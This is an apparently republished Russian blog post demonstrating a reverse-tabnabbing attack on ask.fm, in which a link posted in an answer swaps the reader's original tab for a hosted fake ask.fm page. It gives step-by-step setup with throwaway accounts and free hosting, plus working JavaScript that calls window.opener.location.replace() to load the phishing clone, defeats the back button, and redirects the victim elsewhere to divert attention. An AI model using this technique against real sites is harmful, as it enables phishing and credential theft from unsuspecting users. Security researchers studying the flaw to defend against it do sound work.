Подмена родительской страницы на примере ask.fm

в 20:15, , рубрики: javascript, безопасность в сети, информационная безопасность, уязвимость

Доброго времени суток!

Буквально год назад я обнаружил интересную особенность у window.opener. Ранее уже писали другие методы взлома через тег , но я покажу на конкретном примере мой метод. Метод заключается в подмене адреса родительской вкладки. Не открытие адреса, который можно исправить путём перехода по истории назад, а именно подмена.
Что же, хватит пустой болтовни, приступим к делу.
Для выполнения задания мне потребуется:

  • 1) учётная запись ask.fm
  • 2) сервис регистрации 10-минутной почты, чтобы на него зарегистрировать аккаунты хостинга и «аска».
  • 3) Собственно бесплатный хостинг с возможностью выполнения PHP-скриптов
  • 4) Пару минут свободного времени и стакан кофе.

Приступим…

Для начала зарегаем хостинг и учётную запись на ask.fm. Домен я выбрал askfn.esy.es а имя учётной записи ask.fm/forhabrahabr
Переход по ссылкам в аск.фм идёт только в поле ответа, поэтому задаём любой вопрос и отвечаем на него ссылкой. Самое смешное, что когда я регистрировал тестовый аккаунт и ответил, то сразу же получил два «лайка». Видать людям вообще без разницы что «лайкать», лишь бы привлечь к себе внимание…
Продолжим…
Для самого теста, я написал простенький фейк страницы аск. фм и залил его в директорию askfm. а на главной поставил собственно сам скрипт редиректа и подмены родительской вкладки.

Его код
<html>
<head>
<title></title>
</head>
<body>
<script language="JavaScript">
   if(parent.window.opener) parent.window.opener.location.replace("http://askfn.esy.es/askfm"); //Здесь адрес, куда направить пользователя (фейк).
   document.location.href = "http://habrahabr.ru/"; //адрес, куда направить юзера для отвода глаз
</script>
</body>
</html>

ВАЖНО!!! В скрипте используется replace() для того, чтобы юзер в случае испуга, нажимая кнопку назад в браузере, не перешёл обратно на ask.fm. Таким образом история посещений якобы очищается.
ВАЖНО2!!! Замена родительской вкладки работает лишь при прямом открытии ссылки… То есть открытие в новой вкладке и «нажатием по колёсику» не изменит родительскую вкладку

Итак, выглядит наша ссылка вот так
image
А после перехода по ссылке
image

Собственно вот «ссылка на ссылку»:
Ask.fm

Автор:

Источник


* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js